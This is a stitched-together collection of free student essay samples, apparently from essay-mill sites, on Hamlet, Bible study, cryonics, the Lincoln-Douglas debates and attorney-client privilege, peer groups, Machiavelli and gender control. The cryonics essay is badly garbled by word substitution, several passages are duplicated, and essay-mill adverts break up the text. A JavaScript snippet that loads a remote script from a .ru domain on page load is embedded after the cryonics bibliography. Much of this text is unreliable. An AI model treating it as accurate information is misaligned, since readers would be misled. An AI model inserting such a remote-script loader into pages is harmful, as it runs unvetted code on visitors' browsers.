Hamlet is not Insane in Shakespeares Halmet Essay

Alas hes mad (3:4:108) How far do you agree with the statement that Hamlet is mad? A great controversial talking point of the play Hamlet is whether he was mad or in fact making people think he was mad. I disagree with Gertrudes statement that Hamlet is mad. I ask you what the definition of madness, the relatively permanent disorder of the mind, a state of mind characterized by the inability to distinguish right from wrong. Indeed Hamlet only acts mad in front of certain people such as his mother, Polonius, Ophelia, Claudius, Rosencrantz and Guildenstern who he knows are spying on him. I think Hamlet by using his mad faà §ade hides his real intentions and motivations from his enemies and people that will give away information,†¦show more content†¦(3: 176-180) Claudius says that Hamlets emotions are not from affection. What he does is not insane, it has a higher reason. Hamlet knows something is going on and that he is going to find it out although he does find this out in very unethical terms. Part of his way to hide his motives is by acting mad so he can set about his plan undeterred. With reference to ?There?s something in his soul.? In Hamlet people make many referenc es to his soul, ?Thy devil take thy soul!? maybe hinting that the problem with Hamlet is not insanity but his soul contains the problem. This could possibly fit into the description of the black bile that the Elizabethans believed needed to be bled out in order to make the person saner. The Elizabethans believed that some mentally disabled people were possessed and that madness has a close relationship with god reflecting in the use of Hamlets soul. If Hamlet were truly mad then he would not delay so much throughout the play for a mad man is unable to distinguish right from wrong. Does a mad man have a conscience? When Hamlet is stood after the play waiting to kill Claudius, even though full of rage and hatred he sees Claudius praying and that delays him killing him. This shows Hamlet having a conscience if his mind was unstable surely his actions would have reflected differently. ?They are not near my conscience.? At the beginning of the play a group of people see the ghost but when the ghost

The Word of God Free Essays

We should read and study the Bible because it is totally reliable and without error. oThe Old Testament writers claimed many times they were speaking the word of God. Isaiah 1:2 â€Å"Hear, O heavens, and give ear, O earth; for the Lord has spoken: â€Å"Children have I reared and brought up, but they have rebelled against me. We will write a custom essay sample on The Word of God or any similar topic only for you Order Now † oThe New Testament writers confirmed the Old Testament was God speaking. Hebrews 4:12 â€Å"For the word of God is living and active, sharper than any two-edged sword, piercing to the division of soul and of spirit, of joints and of marrow, and discerning the thoughts and intentions of the heart. oThroughout the Bible, God warns not to add, to take away from His Word. Rev. 22:18-19 â€Å"I warn everyone who hears the words of the prophecy of this book: if anyone adds to them, God will add to him the plagues described in this book, [19] and if anyone takes away from the words of the book of this prophecy, God will take away his share in the tree of life and in the holy city, which are described in this book. † oJesus in His sayings confirmed the Old Testament as being without error. Luke 24:44 â€Å"These are my words that I spoke to you while I was still with you, that everything written about me in the Law of Moses and the Prophets and the Psalms must be fulfilled. † oThose involved in science say the Bible is not accurate, but every time science tries to disprove the Bible, it ends up proving it. The Bible has never changed over the thousands of years since it was written. The Bible is authoritative and can be trusted as such. No piece of literature even approaching its age comes close to having the supportive textual evidence indicating authenticity that the Bible has. It is simply the most reliable text in existence. We should read and study the Bible because there is so much false teaching. The Bible gives us the measuring stick by which we can distinguish truth from error. Amos 7:8 â€Å"And the Lord said to me, â€Å"Amos, what do you see? † And I said, â€Å"A plumb line. † Then the Lord said, â€Å"Behold, I am setting a plumb line in the midst of my people Israel; I will never again pass by them;† All Christians should study the Bible each day. Psalm 119:15 â€Å"I will meditate on your precepts and fix my eyes on your ways. Psalm 1:1-3 â€Å"Blessed is the man who walks not in the counsel of the wicked, nor stands in the way of sinners, nor sits in the seat of scoffers; [2] but his delight is in the law of the Lord, and on his law he meditates day and night. [3] He is like a tree planted by streams of water that yields its fruit in its season, and its leaf does not wither. In all that he does, he prospers. † Th e best time to study is in the morning because the Bible refers frequently to things being done early in the morning. Isaiah 50:4 â€Å"The Lord God has given me the tongue of those who are taught, that I may know how to sustain with a word him who is weary. Morning by morning He awakens; He awakens my ear to hear as those who are taught. † It is highly recommended that two Bibles be used. One is the main Bible and the other is a study Bible with full notes. The Bible should not be read as a textbook but as the word of God. Before even opening the Bible to read, it is best to ask the LORD to reveal something fresh that will help in one’s daily walk. The different approaches to reading the Bible are: oHearing oReading oWriting oStudying oMeditating oMemorizing. oApplication The following study aids will also be necessary to help understand the Bible: oA concordance (Young’s, Strong or Cruden’s) A Bible dictionary oA commentary on the Bible oVines Expository Dictionary of Old and New Testament Words oA good English dictionary oA notebook to record impressions oA Bible marker to highlight certain passages that make a special impression The Bible can be read through from beginning to end or a daily program followed where both Old and New Testament portions are read each day until the whole Bible is read. But keep in mind that the goal is not to get through the Bible as quickly as possible but rather to absorb it as the word of God. For centuries the Bible has been a fixed point of reference and no matter how far society and individuals have strayed, the Bible has served as a guide for human conduct, a moral framework producing a sense of right and wrong, a source of truth, an inspiration for the arts, music, literature and a beacon for personal behavior. Philip. 4:8-9 â€Å"Finally, brothers, whatever is true, whatever is honorable, whatever is just, whatever is pure, whatever is lovely, whatever is commendable, if there is any excellence, if there is anything worthy of praise, think about these things. 9] What you have learned and received and heard and seen in me—practice these things, and the God of peace will be with you† Bible meditation Meditation means pondering by talking to oneself, musing, thinking, or reflection. It involves allowing the mind to become saturated with God’s words. Meditation involves the heart; memorization involves the mind. Bible meditation contains the secret t o happiness, fruitfulness, freshness, progress, prosperity, success and victory over enemies. 1 Tim. 4:15 â€Å"Practice these things; devote yourself to them, so that all may see your progress. Some ways to meditate are: oMemorize a section of the Bible oQuote the section (verse) to the Lord as a personal prayer oRepeat the section several times each time, emphasize a different word oVisualize the significance of each word as far as you can oRepeat the section and ponder on the full meaning of each word oRest – let the words grow in your mind, will and emotions. oUse section to talk with God oPonder each word for personal application oExpect God to bring this section to your mind for decisions and show you ew insights from it. The Bible equips us to serve God. Ephesians 4:11-13 â€Å"And he gave some, apostles; and some, prophets; and some, evangelists; and some, pastors and teachers; (12) For the perfecting of the saints, for the work of the ministry, for the edifying of the body of Christ: (13) Till we all come in the unity of the faith, and of the knowledge of the Son of God, unto a perfect man, unto the measure of the stature of the fullness of Christ† Memorizing Bible verses is important – more important than many people realize. It is not to score well with God and others, but to help disciples become more equipped for ministry. John 14:26 â€Å"But the Helper, the Holy Spirit, whom the Father will send in My name, He will teach you all things and bring to your remembrance all that I have said to you. † Jesus subdued the enemy at the temptation simply by quoting verses He had memorized from Deuteronomy. Jesus demonstrates both the importance and effectiveness of knowing and applying Scripture to combat temptation. (Matthew 4:1-7) How to cite The Word of God, Papers

Cryonics Essay Research Paper free essay sample

Cryonicss Essay, Research Paper # 8220 ; From the clip they # 8217 ; rhenium Born, human existences are driven by an impulse to take things apart and set them back together. A little group of rebel scientists have decided to take this procedure one measure further. Their undertaking, called cryonics, aims to take apart and reassemble the universe # 8217 ; s most complicated machine: the human organic structure ( Epstein 16 ) . # 8221 ; Cryonicss is the pattern of stop deading human organic structures in the hope that one twenty-four hours, it is possible to resuscitate these people and reconstruct them back to wellness. Although this thought may look unusual and impracticable at first, cryonics is however practiced today by several groups of quite rational people in the United States ( Harris 20 ) . Through stop deading and/or desiccation, the life maps of certain populating beings can be halted by being put into full suspended life. Subsequently, the being can be revived at the scientist # 8217 ; s leisure ( Tompkins 1B ) . Many different cells and tissues can be frozen in liquid N at about absolute nothing ( Settles ) . # 8220 ; In the frozen province, there is no metamorphosis ; the machine has stopped, life has stopped. # 8221 ; Recently, it has been demonstrated that certain tissues can even be lyophilized without harm and stored at room temperature on a shelf ( Harris 21 ) . And every bit astonishing as it might look, the machine can be made to populate and work to the full once more ; a figure of healthy babes have been born in recent old ages which developed from embryos that at one clip had been frozen to the point of holding no metamorphosis at all ( Harris 21 ) . Even old ages back, scientists refused to believe that decease was adult male # 8217 ; s concluding frontier. In 1964, college professor Robert Ettinger, who besides had his female parent frozen, wrote The Prospect of Immortality. His book suggested that people could be frozen in # 8220 ; suspended decease # 8221 ; until medical engineering could bring around what had killed them and # 8220 ; take a breath new life into their organic structures ( Epstein 16 ) . # 8221 ; Ettinger argued that cryogenies and medical engineering were presently advanced plenty to make the stop deading portion of the cryonics saving process, and that the ability to make this comparatively simple process was all that was required to do cryonics practical now. # 8220 ; We could get down instantly # 8221 ; , said Ettinger, # 8220 ; and allow the truly hard portion, dissolving and resurgence, be taken attention of by more knowing people subsequently [ on in clip ] ( Harris 21 ) . # 8221 ; After a individual is declared clinically dead and is lawfully certified to be frozen, a suspension squad prepares the organic structure for a big Dewar flask. Normally, a individual deceasing in the infirmary will already hold an intra-venous line in them which is used by the suspension squad to administrate about 20 different sorts of medicine ( Morgan 51 ) . First Heparin is given to forestall blood coagulums. Potassium chloride, Phenobarbital, or some other similar sort of chemical is used to deject the encephalon metamorphosis so that the cells can remain alive but in a less active province. Other chemicals are besides given to maintain the sourness degree changeless and to cut down encephalon force per unit area ( Tompkins 1C ) . Calcium channel blockers to forestall Ca from going into the cells and get downing a figure of chemical reactions that typically do a batch of encephalon harm are besides dispensed ( Morgan 51 ) . The drugs are so followed by manual CPR and so finally with a heart-lung resuscitator ( Morgan 52 ) . A femoral beltway is so conducted at a proper installation. The femoral arteria and the vena in the leg are opened and hooked up to a pump. The full vascular system of the patient is so flushed ( Morgan 53 ) . The blood is washed out wholly and replaced with the same solution DuPont makes to blush Black Marias and kidneys for grafts. # 8220 ; That solution can maintain variety meats alive sometimes every bit long as 20 four hours in a cool phase ( Morgan 53 ) . # 8221 ; All of the encephalon cells at that point are besides protected. # 8220 ; Because the fluids given are normally pre-chilled, the patient is being cooled even more quickly down to two or three grades above freezing. # 8221 ; At that point, the circuit is closed away, the patient is covered in ice, and so transported to where the following set of processs will take topographic point ( Morgan 53 ) . Freezing harm is usually caused by H2O turning into ice. Contrary to most liquids and their solid counter-parts, H2O expands when it turns into ice, organizing crystals. Because of the saline ( salt ) content, the H2O is harder to stop dead doing the ice to organize mediate the cells, non in the cells. When the H2O starts freeze, it expands and crushes the cells jabing holes, hence taking to more harm because of extra unstable elimination. This is why 70 per centum of the H2O in the patient is replaced by glycerin which prevents a batch of this harm. Glycerol does non spread out when it freezes, so the more glycerin that is injected, the better. Glycerol is besides used normally to stop dead sperm and human embryos ( Morgan 54 ) . R / gt ; After the replacing with glycerin is complete, the patient is placed in a bath of silicone oil. # 8220 ; The patient is so placed in a particular armored combat vehicle wrapped in a sleeping bag and in an aluminium cod for protection. # 8221 ; Over several yearss, utilizing liquid N, the patient is dropped down to minus one-hundred and 90 six ( -196 ) degrees Celsius. # 8220 ; At that point they are placed in a particular chromium steel steel armored combat vehicle, vacuum insulated like a thermos, and held at that temperature until scientific discipline can [ one twenty-four hours, in the far future, successfully ] revive these patients ( Morgan 55 ) . # 8221 ; # 8220 ; Success with hamsters and monkeys is conveying the thought to new degrees. Can people populate everlastingly? Cryonicists think so ( Epstein 18 ) . # 8221 ; Enough grounds has been collected to show that cryonics has contributed to research, organ saving, and bloodless surgery ( Epstein 18 ) . The American Cryonics Society of Stockton, California, the Alcor Life Extension Foundation of Riverside, California, and the Cryonics Institute of Oak Park, Michigan, are the major organisations that freeze people in the United States ( Epstein 19 ) . There are about 21 people in cryonic suspension, with about two-hundred and 50 others waiting for their death to undergo the process ( Epstein 19 ) . Many obvious obstructors and contentions are traveling to get with this new method of saving. # 8220 ; When extremist extensions of the human life span become possible, will we desire them? Should we hold them ( Harris 24 ) ? # 8221 ; Cryonicists assume that a society in the hereafter will be rich plenty to afford historically interesting luxuries like freshly thawed people. # 8220 ; A farther premise is that the passage of the present civilization to such an flush hereafter society will be smooth, without any important societal or economic upheavals. # 8221 ; And what about other problems? Long before the clip when frozen people can be revived, humanity will hold found it necessary to badly command its birth rate. Is it likely that a society that could no longer welcome new babes will desire to revive people who have already had full lives and now are dead ( Harris 22 ) ? There are besides the economic adversities that will attach to this engineering: several hundred dollars a twelvemonth in rank fees while one is alive, plus the cost of keeping an excess $ 35,000 to $ 150,000 life-insurance policy. # 8220 ; The American Cryonics Society, which has seven frozen and one-hundred and 14 signed up, by and large offers whole-body suspension for $ 125,000 and will continue merely the caput, a process called neuropreservation, for $ 50,000 ( Epstein 19 ) . # 8221 ; Dr. Philip Marden MD, had his male parent buried in the permafrost part of Canada because he could non afford the cryonics process ( Epstein 19 ) . There is besides the societal loss of the cryonics fund money, which would otherwise be available to dependent organisations such as charities and third-world states. Third, there is besides the ever of import job of what the society will believe. # 8220 ; Here there is a existent possibility of loss of regard from about everyone: Religious common people are likely to see cryonics as a kind of mortuarial Tower of Babel and there might even be loss of regard from socially witting deists once more because that money could hold gone to Ethiopia or CODESH ( Harris 24 ) . # 8221 ; On the impudent side, there are possible additions from engagement in cryonics that are independent of whether the technique works or non. Chief among these is that cryonics provides a certain sum of comfort for the spiritual disbeliever. Some of the sting and daze of a household decease can be removed if there remains a opportunity that the decease is non lasting. # 8220 ; Of class, the faultfinder will notice that stop deading a cadaver is much like seting leftover nutrient in the icebox because one can non digest the waste implied in throwing it off instantly. Even if the nutrient is neer reheated, it is easier to fling if done in two separate stairss. And so it is, possibly, with a dead loved-one ( Harris 25 ) . # 8221 ; # 8220 ; For 1000s of old ages, world has been conditioned to accept decease, # 8221 ; said Ettinger, # 8220 ; I grew up anticipating that one twenty-four hours old age would be preventable and reversible ( Epstein 17 ) . # 8221 ; I guess his verisimilitude, along with the dreams and wants of many optimists with wild yet evidently antic imaginativenesss, is being pressed to finally come true. 50c Epstein, Miles. # 8220 ; The Big Chill. # 8221 ; American Legion Magazine. September, 1990: 16+ . Harris, Steven B. # 8220 ; Many Are Cold but Few Are Frozen: A Humanist Looks at Cryonics. # 8221 ; Free Inquiry. Spring 1989: 19-24. Morgan, Jas. # 8220 ; Souls on Ice. # 8221 ; Mondo 2000. Spring / Summer 1995: 50+ . Settles, Gary S. # 8220 ; Cryogenics. # 8221 ; The 1995 Groiler Multimedia Encyclopedia. Tompkins, Wayne. # 8220 ; Mummification Program Revives Ancient Option for Afterlife. # 8221 ; NEWS. February 4, 1990: 1A-1E. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Lincoln Douglas Debate free essay sample

In agreeing to the debates, Lincoln ND Douglas decided to hold one debate in each of the nine congressional districts in Illinois. Because both had already spoken in two, Springfield and Chicago, within a day of each other, they decided that their joint appearances would be held only in the remaining seven districts. The debates Were held in seven towns in the State Of Illinois: Ottawa on August 21 , Freeport on August 27, Joneses on September 15, Charleston on September 18, Eagleburger on October 7, Quince on October 13, and Alton on October 15.The debates in Freeport, Quince and Alton drew especially large numbers of people from neighboring states, as the issue of slavery was of monumental importance to citizens across the nation. Newspaper coverage of the debates was intense. Major papers from Chicago sent stenographers to create complete texts of each debate, which newspapers across the United States reprinted in full, with some partisan edits. Newspapers that supported Douglas edited his speeches to remove any errors made by the stenographers and to correct grammatical errors, while they left Lincoln speeches in the rough form in which they had been transcribed. We will write a custom essay sample on Lincoln Douglas Debate or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page In the same ay, pro-Lincoln papers edited Lincoln s speeches, but left the Douglas texts as reported. After losing the election for Senator in Illinois, Lincoln edited the texts of all the debates and had them published in a book.The widespread coverage of the original debates and the subsequent popularity of the book led eventually to Lincoln nomination for President of the United States by the 1860 Republican National Convention in Chicago. The format for each debate was: one candidate spoke for 60 minutes, then the other candidate spoke for 90 minutes, and then the first candidate was allowed a 30-minute rejoinder. The candidates alternated speaking first. As the incumbent, Douglas spoke first in four of the debates. Before the debates, Lincoln said that Douglas was encouraging fears of amalgamation of the races with enough success to drive thousands of people away from the Republican Party. Douglas tried to convince, especially the Democrats, that Lincoln was an abolitionist for saying that the American Declaration of Independence applied to blacks as well as whites. Lincoln called a self-evident truth the electric cord that links the hearts of patriotic and liberty-loving men together. Lincoln argued in his House Divided Speech that Douglas was part of a conspiracy to nationalize slavery.Lincoln said that ending the Missouri Compromise ban on slavery in Kansas and Nebraska was the first step in this direction, and that the Dried Scott decision was another step in the direction of spreading slavery into Northern territories. Lincoln expressed the fear that the next Dried Scott decision would make Illinois a slave state. Both Lincoln and Douglas had opposition. Although Lincoln was a former Whig, the prominent former Whig Judge Audiophiles Lyle Dickey said that Lincoln was o closely tied to the abolitionists, and supported Douglas.But Democratic President James Buchanan opposed Douglas for defeating the Locomotion Constitution, and set up a rival National Democratic party that drew votes away from him. Lincoln used a number of colorful phrases in the debates, such as when he said that one argument by Douglas made a horse chestnut into a chestnut horse, and compared an evasion by Douglas to the sepia cloud from a cuttlefish. Lincoln said that Douglas Freeport Doctrine was a do- nothing sovereignty that was as thin as the homeopathic soup that was dad by boiling the shadow of a pigeon that had starved to death. The October surprise of the election was the endorsement of the Democrat Douglas by former Whig John Accredited. Former Whig comprised the biggest block of swing voters, and Criterions endorsement of Douglas rather than Lincoln, also a former Whig, reduced Lincoln chances of winning. On election day, the Democrats won a narrow majority of seats in the Illinois General Assembly, despite getting slightly less than half the votes. The legislature then re-elected Douglas.However, the widespread media coverage f the debates greatly raised Lincoln national profile, making him a viable candidate for nomination as the Republican candidate in the upcoming 1860 presidential election. He would go on to secure both the nomination and the presidency, besting Douglas (as the Northern Democratic candidate), among others, in the process. The Lincoln-Douglas debate format that is used in high school and college competition today is named after this series of debates. Modern presidential debates trace their roots to the Lincoln-?Douglas Debates, though the format today is remarkably different from the original. Lincoln Douglas Debate free essay sample Leslie, Law Professor from the Benjamin Carload School of Law, wrote, Consequently, the contents of attorney-client communications are extraordinarily relevant and reliable evidence. If the point of litigation is to deduce the truth, why exclude attorney-client communications? Most evidentially rules further the search for truth. Hearsay is excluded as unreliable, character evidence as unduly prejudicial. The law of privileges is a stark exception because it conceals evidence that is highly reliable and probative.We tolerate attorney-client privilege because we suppose that without it, fear or ignorance would cause clients to omit, slant, or falsify information when consulting attorneys. Perhaps unwittingly, clients would refit the opportunity to obtain sound legal advice. The privilege, therefore, enables clients to function effectively in the legal system. The price is the exclusion of relevant and reliable evidence. In a fair trial, both the defendant and the accuser swear to tell the truth, the whole truth, and nothing but the truth. We will write a custom essay sample on Lincoln-Douglas Debate or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page This cannot occur if the defendant tells the attorney of the heinous crime, and the attorney covers up the tracks for his guilty client. This breaks the oath by not telling the whole truth under oath, and May possibly let a guilty man be let free even tough he is in all rights guilty. The reviled even excludes evidence that is related to but not necessarily a part of what is covered in by the privilege. As a democracy the U. S is formed around the idea of the social contract in which idea that citizens will give up certain rights, to a certain degree, in order for the government to protect the populace and effectively serve justice.The way the government upholds its end of the contract is through its laws, meaning that breaking the law will result in consequence. If the laws are broken and there is no punishment then the laws dont serve their purpose meaning the government cant serve TTS purpose either. Attorney client privilege makes it harder for the guilty to be convicted and result in a larger number of incorrect verdicts. Therefore the law isnt upheld, the guilty go free and the law process ineffective. More importantly, however, the innocent arent protected and therefore this undermines the purpose Of the social contract.As a democracy the U. S is formed around the idea of the social contract in which idea that citizens will give up certain rights, to a certain degree, in order for the government to protect the populace and effectively serve justice. The way the government upholds its end of the contract is through its laws, meaning that breaking the law will result in consequence. Fifth laws are broken and there is no punishment then the laws dont serve their purpose meaning the government cant serve its purpose either.Attorney client privilege makes it harder for the guilty to be convicted and result in a larger number of incorrect verdicts. Therefore the law isnt upheld, the guilty go free and the law proves ineffective. More importantly, however, the innocent arent protected and therefore this undermines the purpose of the social contract. With this essentially immoral, albeit perfectly legal arrangement, we have surrounded ourselves with lies, and locked ourselves up within a system that perpetuates further lies.Our jails are filled with people who are incarcerated for all the wrong reasons, a miasmas haze of generalized guilt unspecified and totally disconnected from the actual events themselves. They sit in jail, and the story of what happened sits with them. And no one seems to care, as long as jails have low vacancy rates. We have bargained away the sanctity of truth for the certainty of a jail sentence. Indeed, the official courthouse records of criminal suppositions are distorted, because they reflect false punishments. A rape IS reduced to an assault.Something that is felonious suddenly, magically, becomes merely mischievous. A first-degree offense is lessened to a crime with a lower degree of culpability, stripped down to something less ominous- and less true. We are all ultimately the unwitting victims off system that subordinates truths to its narrow vision of justice. But constituencies all about discovering the truth? Moral and historical justice cant be accomplished without knowing what happened. This is what people assume courthouses re for: truth telling, truth seeking, justice embodied in the very nature, and in all the delicate nuances, of truth itself.Some proponents of the privilege argue that abandoning the privilege will discourage people from seeking legal advice, but this is not empirically proven. Edward J. Malingered, Law Professor at U. Cal Davis, writes, There have been a number of studies on the effect of the attorney-client and psychotherapist-patient privileges. It is certainly dangerous to extrapolate from the available data, because there have been only a few handfuls of studies. However, the findings in the studies re relatively uniform.The researchers have fairly consistently found that: Even absent a privilege, only a small minority of laypersons would be deterred from consulting the professional; without a privilege, perhaps a significant minority of the laypersons would be somewhat more guarded in their communications, particularly written communications, with the confidant; but the vast majority of laypersons would still consult and communicate with their confidants to roughly the same extent. On reflection, these findings should not come as a surprise. As professor paschal pointed UT in the Senate hearings on the proposed Federal Rules of Evidence, most laypersons communicating with confidants are engaged in primary, pre- litigation activities. Typically, at the time of the communication they have little or no concern about subsequent litigation. Moreover, they often have strong, even impelling, reasons to communicate. For example, if a patient is in intense pain or fears that he or she is dying, the patient is likely to disclose any information requested by the physician regardless of the existence veil non of a medical privilege in that jurisdiction. And even if it were true that abandoning the privilege will discourage some from seeking legal advice, only those who are guilty would be discouraged from doing so. The innocent have nothing to hide. All societies are formed around the social contract. All social contract theories are based off of the idea that the people will give up certain rights, to an extent, in order for the government to protect the populace in some way.The mechanisms for a government to uphold its end of the social contract are its laws. However, for laws to mean anything, they must have authority, meaning that if someone breaks a law, they must be punished, otherwise it would be as if no laws existed at all. The mechanism is simple, but its implementation is difficult. Modern jurisprudence, including attorney client privilege, makes it substantially more difficult for the guilty to be convicted, causing a net decrease in the number of correct verdicts.In these circumstances, the law is not upheld, and the guilty go free, undermining the authority of the law in the process, and, by extension, the social contract itself is undermined. Negative The primary argument in favor of retaining the attorney- client privilege is hat it facilitates effective representation, which is important to justice. The purpose of the attorney-client privilege is to enable clients to make full and frank disclosures to their attorneys so that those attorneys can provide effective advice and candid representation.Without the privilege, people would not be able to use attorneys effectively because they would be deterred from sharing critical information with their attorneys out of fear that it could be used against them in trial. Ronald Goldberg, Attorney states protection O f attorney-client communications a modern form Of proof reductionism toward which courts are especially solicitous? Historical privilege has benefited from judicial deference and understanding. Court reported, It is out of regard. .. O the administration of justice, who cannot go on without he aid of men skilled in jurisprudence, in the Para the courts, and in those matters affecting rights and obligations which the subject of all judicial proceedings. If the privilege did not exist at a one would be thrown upon his own legal resources. Deprived of all professional assistance, a man would not venture to consult ay skillful or would only dare to tell his counselor half his case. And without off representation, it would be difficult to achieve justice. One of the basic tenants of the U. S. System is a strong defense without all the knolled: possible a defense attorney cannot give a defendant the best defense possible. The absence of Attorney-Client privileged would cause defend to actually not tell their attorneys the truth resulting in the opposite e the intent of the Resolution. One could actually argue that Attorney CLC preventable is essential to truth seeking therefore they should have CE precedence. On one scenario, we have truth seeking, which does not serially bring justice at all and is incredibly difficult to discern.Our scenario is the attorney-client privilege, which allows the defendant to professional advice on what is the right action, and thereby just. This the defendant to more accurately decide what is just, and therefore, b the attorney client privilege brings a higher chance of justice, should etc precedence over truth seeking in the United States criminal justice sys How can a government be legitimate if its violating peoples basic hung rights t o privacy, did we not found this country to preserve our basic h eight?Also why would a client tell his attorney anything if he knows HTH information would immediately be released, it doesnt allow lawyers etc there job, and if they know the full and unedited truth it can help bring! A correct verdict rather than also letting peoples rights be infringed u Negative debaters can question the value Of truth seeking. While that the privilege excludes evidence that is important for truth seeking important to note that this evidence would not exist in the first place v the privilege. Its not as if the privilege is covering up evidence that wool tennis be known.

Peer Groups essays

Peer Groups essays Unlike parents, siblings, teachers, and church and official leaders who have power over the teenagers they are trying the socialize, peers do not posses such power. In fact, they are equal in social status and do not have the power to punish or sanction behavior. Unlike a family which one is born into or a school that one has to attend, peer groups are voluntary association, teenagers can leave and join peer groups at any time. However, loosing friends is a big issue, because teenagers evaluate themselves based on the number of friends they have. During the adolescent years, peers play an important role in socialization especially in the American society, where most parents are so busy with their 9 to 5 jobs that they dont get the chance to spend Peers teach some important qualities that other agents of socialization cant. For example, they teach independence from authority, but at the same time conformity to the peer group. This is evident, when we see a teenager begging his/her parent to go to the movies with her/his friends alone without adult supervision. The teenager wants to feel independent. However at the same time, he/she must try to conform to the values and beliefs of the peer group to be able to fit in and hang out with them. One way to gain independence from authority is to form a youth subculture, which sometimes engages in conflicts with parents, teachers, and church official because of the difference of attitude which they present. For example, adults have different values and beliefs toward drinking alcohol . A member of a peer group would probably think that as long as one knows who they are drinking with and does not over drink, and does not put herself in the position to get harmed; then, drinking is fine and harmless. The adult would disagree saying that by drinking not does one hurt themselves physically, but when they are drunk they do not have contro ...

A Report About Niccolo Machiavelli History Essay

A Report About Niccolo Machiavelli History Essay Niccolo Machiavelli was born in 1469 in Florence. Since 1484, Florence had a republican government after ruling Medici family and its supporters were driven from power. Machiavelli suffered from this regime change: first he was sent to an internal exile and later was imprisoned and tortured for several weeks when (wrongly) suspected of conspiring against the Medici family in 1513. Following which, he retired to his farm outside Florence. This drove him to turn to literary pursuits and he wrote his famous study on power, ‘The Prince’ in 1517. The Prince was primarily a guide book for his prince, Lorenzo De Medici, to help him promote himself into the political set up of Italy. Machiavelli analyzed power and the ways for Italy to gain it to become independent and keep control. The explanations in the book were driven by Machiavelli’s own attraction with power and his deep desire for an independent Italy. His ideas on the rules of power caters to the struggles for a ll levels of power, from a common man struggling in the world of business to strategies performed by the political leaders in the sixteenth century to now. ‘The Prince’ is primarily a study of power in which Machiavelli suggests how political power should be acquired, utilized, and maintained by the ruler. (Fischer, 2000), (Source: http://plato.stanford.edu/entries/machiavelli/ ) Machiavelli always asserted the importance of acquisition of power, he thinks it comes naturally to all humans and the one who does acquire power should be praised and not blamed. Machiavelli’s Philosophy beyond Acquisition of Power: Machiavelli doesn’t just concentrated on acquisition of power, he said that the real concern of any ruler is the not just acquisition but also maintenance of power. On the basis of his past experiences with the Florentine government, he supports the view that being right and good human being is not sufficient to acquire and maintain political offi ce. He feels power typically defines political activity; therefore any ruler must know how it is used. Since only by proper application of power, can rulers make individuals obey them and will be able to enforce law to maintain peace in the state. â€Å"one can say this in general of men: they are ungrateful, disloyal, insincere and deceitful, timid of danger and avid of profit†¦. Love is a bond of obligation which these miserable creatures break whenever it suits them to do so; but fear holds them fast by a dread of punishment that never passes† (Machiavelli 1965, 62; translation altered) Thus we see that Machiavelli believes that fear is always preferable to love while dealing with subjects, because laws are enforced on the basis of threat of coercive force, because people obey law due to the fear of results of not doing the same, whether the loss of life or other punishments. These are all Machiavelli’s views on how to maintain power not acquire it. His pragmat ic political ideas are based on two elements: The political environment in the world at that point in time was divided and commanded by powers with no possibility of unification. That time no political leader at that time who was using the kind of force Machiavelli thought was required for peace. He thought that a price feared by his subjects would ensure their loyalty. On human nature, Machiavelli thought humans are basically greedy and selfish and their actions are driven more by fear than by love. As a political philosopher, his attempt was to introduce a new way to create a society, which according to him was different from the one existing. Though his philosophy has been regarded as evil by many, but in practice most business leaders and politicians agree and follow it and regard it as the physics of power. The philosophy put forward in The Prince, is popularly known as Machiavellianism and is defined as: â€Å"The political doctrine of Machiavelli, which denies the rel evance of morality in political affairs and holds that craft and deceit are justified in pursuing and maintaining political power.† We can explain this with simple saying that as far as power is concerned, the end justifies the means. The core thought of Machiavelianism is that the purpose of the ruler (power holder) is to maintain peace and security of the state irrespective of the morality of the means.

Male Control the Social World Essay Example | Topics and Well Written Essays - 500 words

Male Control the Social World - Essay Example From this discussion it is clear that the males watch over the female gender to ensure that they are as disciplined as possible. As a protector of the female gender, men are supposed to see to it that their sisters and daughters do not have sexual relationships until they are married. They also watch over daughters, sisters and wives to ensure they do not engage in extramarital affairs. Basically, the females must have sexual purity if they are to deserve men, and those men have to make sure of the sexual purity by always watching over the females. In this case of the Middle Eastern communities, the male-controlled society only exercises supervision on females, while the females would never supervise men.This study highlights that the Samba society also emphasizes one fact; that women always carry pollutants. Initiating males involves ritual activities which include removal of female (feminine) pollutants imbued into their bodies throughout the duration of mother’s care. This is a clear show of how impure females are perceived to be. Again during love-making, the Samba men are believed to have feminine pollutants imbued on their bodies by their sexual partners. Initiation involves training the Samba males on how to remove feminine pollutants imbued on their bodies during love-making. In this scenario, females are associated with perpetual dirt which men must always remove. Additionally, men are so much in control and are unsupervised by females.   Ã‚